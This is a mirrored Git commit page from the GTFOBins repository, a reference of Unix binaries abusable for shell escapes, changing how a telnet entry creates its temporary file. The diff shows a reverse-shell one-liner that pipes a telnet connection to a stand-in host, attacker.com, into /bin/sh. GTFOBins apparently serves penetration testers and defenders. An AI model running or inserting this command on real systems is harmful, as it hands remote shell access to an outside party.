mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-07-25 19:54:14 +02:00
Use the portable -u option for mktemp instead of removing the file
Close #15.
This commit is contained in:
@@ -13,8 +13,7 @@ functions:
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
RPORT=12345
|
||||
TF=$(mktemp)
|
||||
rm $TF
|
||||
TF=$(mktemp -u)
|
||||
mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF
|
||||
sudo-enabled:
|
||||
- description: BSD version only. Needs to be connected first.
|
||||
|
Reference in New Issue
Block a user